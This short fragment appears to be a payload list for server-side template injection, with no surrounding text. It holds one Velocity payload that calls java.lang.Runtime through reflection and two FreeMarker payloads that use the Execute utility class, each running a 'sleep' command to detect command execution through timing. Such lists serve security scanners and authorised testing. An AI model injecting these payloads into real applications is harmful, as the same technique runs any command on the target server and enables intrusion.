Restore

#set($engine="") #set($proc=$engine.getClass().forName("java.lang.Runtime").getRuntime().exec("sleep 10")) #set($null=$proc.waitFor()) ${null}

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("sleep 0") }

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("sleep 10") }

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